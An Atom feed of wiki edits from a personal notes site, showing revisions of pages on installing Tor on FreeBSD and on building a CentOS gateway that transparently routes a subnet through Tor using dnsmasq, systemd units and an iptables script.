<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://leo.leung.xyz/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=10.1.1.3</id>
	<title>Leo&#039;s Notes - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://leo.leung.xyz/wiki/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=10.1.1.3"/>
	<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/Special:Contributions/10.1.1.3"/>
	<updated>2026-10-06T08:35:18Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.6</generator>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Tor&amp;diff=1229</id>
		<title>Tor</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Tor&amp;diff=1229"/>
		<updated>2015-08-18T07:01:06Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;For detailed instructions on setting up and using TOR as part of a transparent proxy, see [[TOR_Transparent_Proxy]].&lt;br /&gt;
&lt;br /&gt;
== Hidden Services ==&lt;br /&gt;
* Hidden Wiki - zqktlwi4fecvo6ri.onion&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
=== FreeBSD ===&lt;br /&gt;
&lt;br /&gt;
 cd /usr/ports/security/tor&lt;br /&gt;
 make config-recursive&lt;br /&gt;
 make install clean&lt;br /&gt;
 &lt;br /&gt;
 echo &#039;enable_tor=&amp;quot;YES&amp;quot;&#039; &amp;gt;&amp;gt; /etc/rc.conf&lt;br /&gt;
 vi /usr/local/etc/tor/torrc&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Put the following in your torrc file:&lt;br /&gt;
&lt;br /&gt;
 #&lt;br /&gt;
 # Refer to https://www.torproject.org/docs/tor-manual.html.en&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 # Listen on localhost, using the default port of 9051&lt;br /&gt;
 SocksPort 9051&lt;br /&gt;
 SocksListenAddress 127.0.0.1&lt;br /&gt;
 &lt;br /&gt;
 ORPort 9001&lt;br /&gt;
 &lt;br /&gt;
 # Do not be an exit node&lt;br /&gt;
 ExitPolicy reject *:* &lt;br /&gt;
 &lt;br /&gt;
 BandwidthRate 10 MB&lt;br /&gt;
 BandwidthBurst 100 MB&lt;br /&gt;
 &lt;br /&gt;
 RunAsDaemon 1&lt;br /&gt;
 &lt;br /&gt;
 ContactInfo tor@steamr.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To start tor, run&lt;br /&gt;
 /usr/local/etc/rc.d/tor start&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Tor&amp;diff=1228</id>
		<title>Tor</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Tor&amp;diff=1228"/>
		<updated>2015-08-18T07:00:06Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;For detailed instructions on setting up and using TOR as part of a transparent proxy, see [[TOR_Transparent_Proxy]].&lt;br /&gt;
&lt;br /&gt;
== Hidden Services ==&lt;br /&gt;
* Hidden Wiki - zqktlwi4fecvo6ri.onion.to&lt;br /&gt;
&lt;br /&gt;
=== Installation ===&lt;br /&gt;
== FreeBSD ==&lt;br /&gt;
&lt;br /&gt;
 cd /usr/ports/security/tor&lt;br /&gt;
 make config-recursive&lt;br /&gt;
 make install clean&lt;br /&gt;
 &lt;br /&gt;
 echo &#039;enable_tor=&amp;quot;YES&amp;quot;&#039; &amp;gt;&amp;gt; /etc/rc.conf&lt;br /&gt;
 vi /usr/local/etc/tor/torrc&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Put the following in your torrc file:&lt;br /&gt;
&lt;br /&gt;
 #&lt;br /&gt;
 # Refer to https://www.torproject.org/docs/tor-manual.html.en&lt;br /&gt;
 #&lt;br /&gt;
 &lt;br /&gt;
 # Listen on localhost, using the default port of 9051&lt;br /&gt;
 SocksPort 9051&lt;br /&gt;
 SocksListenAddress 127.0.0.1&lt;br /&gt;
 &lt;br /&gt;
 ORPort 9001&lt;br /&gt;
 &lt;br /&gt;
 # Do not be an exit node&lt;br /&gt;
 ExitPolicy reject *:* &lt;br /&gt;
 &lt;br /&gt;
 BandwidthRate 10 MB&lt;br /&gt;
 BandwidthBurst 100 MB&lt;br /&gt;
 &lt;br /&gt;
 RunAsDaemon 1&lt;br /&gt;
 &lt;br /&gt;
 ContactInfo tor@steamr.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To start tor, run&lt;br /&gt;
 /usr/local/etc/rc.d/tor start&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1227</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1227"/>
		<updated>2015-08-18T05:34:56Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Install dnsmasq. Optionally, install Apache for your internal website.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:&lt;br /&gt;
 ip addr add 192.168.192.1/24 dev eno33554952&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable dnsmasq&lt;br /&gt;
 systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description = Anonymizing overlay network for TCP&lt;br /&gt;
After = syslog.target network.target nss-lookup.target tor-firewall.service&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type = simple&lt;br /&gt;
User = _tor&lt;br /&gt;
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet&lt;br /&gt;
ExecReload = /bin/kill -HUP ${MAINPID}&lt;br /&gt;
ExecStop = /bin/kill -INT ${MAINPID}&lt;br /&gt;
TimeoutSec = 30&lt;br /&gt;
Restart = on-failure&lt;br /&gt;
LimitNOFILE = 4096&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy = multi-user.target&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable tor.service&lt;br /&gt;
 systemctl start tor.service&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
ip addr add 192.168.192.1/24 dev $TOR_IF&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic for web service running on this host.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow web service&lt;br /&gt;
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the firewall script above to set up IPTables.&lt;br /&gt;
&lt;br /&gt;
The TOR gateway should now be operational. &lt;br /&gt;
&lt;br /&gt;
Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]&lt;br /&gt;
&lt;br /&gt;
/usr/lib/systemd/system/tor-firewall.service&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=TOR Firewall&lt;br /&gt;
After=network.target&lt;br /&gt;
ConditionFileIsExecutable=/scripts/firewall.sh&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type=oneshot&lt;br /&gt;
ExecStart=/scripts/firewall.sh&lt;br /&gt;
TimeoutSec=0&lt;br /&gt;
StandardOutput=tty&lt;br /&gt;
RemainAfterExit=yes&lt;br /&gt;
SysVStartPriority=99&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Enable the service so that it is triggered on startup.&lt;br /&gt;
 systemctl enable tor-firewall&lt;br /&gt;
&lt;br /&gt;
== Optional Services ==&lt;br /&gt;
&lt;br /&gt;
You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.&lt;br /&gt;
&lt;br /&gt;
You can make DNSMasq execute a script whenever there is a change in the DHCP lease. This is useful to automatically remove hosts from having access to TOR after the lease expires.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 3 -a $# -ne 4 ] ; then&lt;br /&gt;
        echo &amp;quot;Usage: dnsmasq_dhcp &amp;lt;add|del&amp;gt; &amp;lt;mac&amp;gt; &amp;lt;ip&amp;gt; [hostname]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
TOR_IF=&amp;quot;eno33554952&amp;quot;&lt;br /&gt;
Action=$1&lt;br /&gt;
IP=$3&lt;br /&gt;
&lt;br /&gt;
# We want to remove them when they lose their lease...&lt;br /&gt;
if [[ &amp;quot;$Action&amp;quot; = &amp;quot;del&amp;quot; ]] || [[ &amp;quot;$Action&amp;quot; = &amp;quot;old&amp;quot; ]] ; then&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 5353&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:TOR]]&lt;br /&gt;
&lt;br /&gt;
{{Navbox Linux}}&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1226</id>
		<title>TOR Transparent Proxy</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=TOR_Transparent_Proxy&amp;diff=1226"/>
		<updated>2015-08-18T05:03:56Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This article will go through the steps necessary to set up a gateway machine that transparently routes traffic through the TOR network. The goal is to have a subnet that will have all TCP traffic routed through TOR which should prevent any leaking of information by the TOR browser (for instance, due to a browser vulnerability).&lt;br /&gt;
&lt;br /&gt;
== Prerequisites ==&lt;br /&gt;
You must have a machine that has at least two network interfaces (one for the external network, one for the TOR network). This guide was created against a clean installation of CentOS 7.1 x86_64.&lt;br /&gt;
&lt;br /&gt;
The two networks will have the following configuration:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Description !! Interface !! Addresses&lt;br /&gt;
|-&lt;br /&gt;
| External Network Interface (to internet) || eno16777728 || 10.1.3.39/22&lt;br /&gt;
|-&lt;br /&gt;
| Internal Network Interface (to internal TOR subnet) || eno33554952 || 192.168.192.1/24&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
This host will be the gateway for the internal TOR subnet.&lt;br /&gt;
&lt;br /&gt;
== Installation ==&lt;br /&gt;
Install the TOR package. You can find the TOR repository at https://deb.torproject.org/torproject.org/. &lt;br /&gt;
&lt;br /&gt;
For CentOS 7, the packages are at https://deb.torproject.org/torproject.org/rpm/el/7/x86_64/.&lt;br /&gt;
&lt;br /&gt;
Install dnsmasq. Optionally, install Apache for your internal website.&lt;br /&gt;
&lt;br /&gt;
Disable SELinux.&lt;br /&gt;
&lt;br /&gt;
Ensure that your network interfaces are set up correctly. Because the internal network does not have a DHCP server, you will need to set it manually:&lt;br /&gt;
 ip addr add 192.168.192.1/24 dev eno33554952&lt;br /&gt;
&lt;br /&gt;
== Configuration ==&lt;br /&gt;
&lt;br /&gt;
Create the dnsmasq.conf file:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
listen-address=192.168.192.1&lt;br /&gt;
port=53&lt;br /&gt;
&lt;br /&gt;
strict-order&lt;br /&gt;
no-resolv&lt;br /&gt;
&lt;br /&gt;
# Remote DNS server (this should go to TOR&#039;s DNS service)&lt;br /&gt;
# This is set to 1.1.1.1 which is routed by IPTables to TOR&#039;s service.&lt;br /&gt;
# DNSMasq does not allow you to set this to an internal IP address.&lt;br /&gt;
server=1.1.1.1&lt;br /&gt;
&lt;br /&gt;
interface=eno33554952&lt;br /&gt;
address=/torified.wifi/192.168.192.1&lt;br /&gt;
&lt;br /&gt;
dhcp-script=/scripts/dnsmasq_dhcp&lt;br /&gt;
dhcp-range=192.168.192.20,192.168.192.250,2h&lt;br /&gt;
dhcp-option=1,255.255.255.0&lt;br /&gt;
dhcp-option=6,192.168.192.1&lt;br /&gt;
dhcp-option=3,192.168.192.1&lt;br /&gt;
&lt;br /&gt;
# This is the external (non TOR) network interface.&lt;br /&gt;
no-dhcp-interface=eno16777728&lt;br /&gt;
&lt;br /&gt;
domain=torified.wifi&lt;br /&gt;
log-queries&lt;br /&gt;
log-dhcp&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable dnsmasq&lt;br /&gt;
 systemctl start dnsmasq&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the torrc file containing: (/etc/tor/torrc)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Log notice file /var/log/tor/notices.log&lt;br /&gt;
DataDirectory /var/lib/tor&lt;br /&gt;
VirtualAddrNetwork 10.192.0.0/10&lt;br /&gt;
&lt;br /&gt;
TransPort 9040&lt;br /&gt;
TransListenAddress 192.168.192.1&lt;br /&gt;
&lt;br /&gt;
DNSPort 5353&lt;br /&gt;
DNSListenAddress  192.168.192.1&lt;br /&gt;
AutomapHostsOnResolve 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As of this writing (version 0.2.6.10), the TOR package only has the old SystemV startup script and not the systemd service unit file. Create /usr/lib/systemd/system/tor.service containing:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description = Anonymizing overlay network for TCP&lt;br /&gt;
After = syslog.target network.target nss-lookup.target&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type = simple&lt;br /&gt;
User = _tor&lt;br /&gt;
ExecStart = /usr/bin/tor --runasdaemon 0 -f /etc/tor/torrc --quiet&lt;br /&gt;
ExecReload = /bin/kill -HUP ${MAINPID}&lt;br /&gt;
ExecStop = /bin/kill -INT ${MAINPID}&lt;br /&gt;
TimeoutSec = 30&lt;br /&gt;
Restart = on-failure&lt;br /&gt;
LimitNOFILE = 4096&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy = multi-user.target&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enable and start the TOR service.&lt;br /&gt;
 systemctl enable tor.service&lt;br /&gt;
 systemctl start tor.service&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Create the firewall configuration script (firewall.sh):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
IPT=/usr/sbin/iptables&lt;br /&gt;
TOR_UID=998&lt;br /&gt;
TOR_NET=192.168.192.0/24&lt;br /&gt;
TOR_IF=eno33554952&lt;br /&gt;
OUT_IF=eno16777728&lt;br /&gt;
&lt;br /&gt;
$IPT -F&lt;br /&gt;
$IPT -t nat -F&lt;br /&gt;
&lt;br /&gt;
# Connections cannot be forwarded from one network to another.&lt;br /&gt;
$IPT -A FORWARD -i $TOR_IF -j REJECT&lt;br /&gt;
&lt;br /&gt;
# Accept HTTP traffic for web service running on this host.&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p tcp -d 192.168.192.1 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Accept DNS traffic (handled by dnsmasq which goes to 1.1.1.1)&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -p udp -d 192.168.192.1 --dport 53 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# DNSMasq will send DNS queries to 1.1.1.1 which will be routed to the TOR DNS service&lt;br /&gt;
$IPT -t nat -A OUTPUT -p udp -d 1.1.1.1 --dport 53 -j DNAT --to-destination 192.168.192.1:5353&lt;br /&gt;
&lt;br /&gt;
# Client chain. Append clients who should have access to this chain.&lt;br /&gt;
$IPT -t nat -X tor_clients&lt;br /&gt;
$IPT -t nat -N tor_clients&lt;br /&gt;
$IPT -t nat -A PREROUTING -i $TOR_IF -j tor_clients&lt;br /&gt;
&lt;br /&gt;
# Allow all clients to connect.&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p udp --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
# $IPT -t nat -A tor_clients -i $TOR_IF -p tcp --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
# Allow a specific client to connect.&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p udp -s 192.168.192.128 --dport 53 -j REDIRECT --to-ports 53&lt;br /&gt;
$IPT -t nat -A tor_clients -i $TOR_IF -p tcp -s 192.168.192.128 --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Allow the 1.1.1.1 DNS redirection (UDP to the TOR server IP)&lt;br /&gt;
# Allow DNS to TOR 5353 service. Allow DNS from this host to the subnet.&lt;br /&gt;
$IPT -A OUTPUT -p udp --dport 5353 -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -p udp -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow web service&lt;br /&gt;
$IPT -A OUTPUT -p tcp --sport 80 -s 192.168.192.1 -d 192.168.192.1/24 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow this talking to internal network&lt;br /&gt;
$IPT -A OUTPUT -p tcp -s 10.1.3.39 -d 10.1.1.0/22 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
# Allow TOR&lt;br /&gt;
$IPT -A OUTPUT -m owner --uid-owner $TOR_UID -j ACCEPT&lt;br /&gt;
$IPT -A OUTPUT -j LOG --log-prefix &amp;quot;drop: &amp;quot; --log-level 4&lt;br /&gt;
$IPT -A OUTPUT -j REJECT&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the firewall script above to set up IPTables.&lt;br /&gt;
&lt;br /&gt;
The TOR gateway should now be operational. &lt;br /&gt;
&lt;br /&gt;
Create a systemd service unit to execute the firewall script on startup. See [[Systemd]]&lt;br /&gt;
&lt;br /&gt;
/usr/lib/systemd/system/tor-firewall.service&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
[Unit]&lt;br /&gt;
Description=TOR Firewall&lt;br /&gt;
After=network.target&lt;br /&gt;
ConditionFileIsExecutable=/scripts/firewall.sh&lt;br /&gt;
&lt;br /&gt;
[Service]&lt;br /&gt;
Type=oneshot&lt;br /&gt;
ExecStart=/scripts/firewall.sh&lt;br /&gt;
TimeoutSec=0&lt;br /&gt;
StandardOutput=tty&lt;br /&gt;
RemainAfterExit=yes&lt;br /&gt;
SysVStartPriority=99&lt;br /&gt;
&lt;br /&gt;
[Install]&lt;br /&gt;
WantedBy=multi-user.target&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Enable the service so that it is triggered on startup.&lt;br /&gt;
 systemctl enable tor-firewall&lt;br /&gt;
&lt;br /&gt;
== Optional Services ==&lt;br /&gt;
&lt;br /&gt;
You may want to set up a web portal to allow users to register in order to access the TOR network. Install apache and use the script in the wifi page.&lt;br /&gt;
&lt;br /&gt;
You can make DNSMasq execute a script whenever there is a change in the DHCP lease. This is useful to automatically remove hosts from having access to TOR after the lease expires.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
&lt;br /&gt;
if [ $# -ne 3 -a $# -ne 4 ] ; then&lt;br /&gt;
        echo &amp;quot;Usage: dnsmasq_dhcp &amp;lt;add|del&amp;gt; &amp;lt;mac&amp;gt; &amp;lt;ip&amp;gt; [hostname]&amp;quot;&lt;br /&gt;
        exit&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
TOR_IF=&amp;quot;eno33554952&amp;quot;&lt;br /&gt;
Action=$1&lt;br /&gt;
IP=$3&lt;br /&gt;
&lt;br /&gt;
# We want to remove them when they lose their lease...&lt;br /&gt;
if [[ &amp;quot;$Action&amp;quot; = &amp;quot;del&amp;quot; ]] || [[ &amp;quot;$Action&amp;quot; = &amp;quot;old&amp;quot; ]] ; then&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p tcp -s $IP --syn -j REDIRECT --to-ports 9040&lt;br /&gt;
        /sbin/iptables -t nat -D tor_clients -p udp -s $IP --dport 53 -j REDIRECT --to-ports 5353&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:TOR]]&lt;br /&gt;
&lt;br /&gt;
{{Navbox Linux}}&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=Tor&amp;diff=1225</id>
		<title>Tor</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=Tor&amp;diff=1225"/>
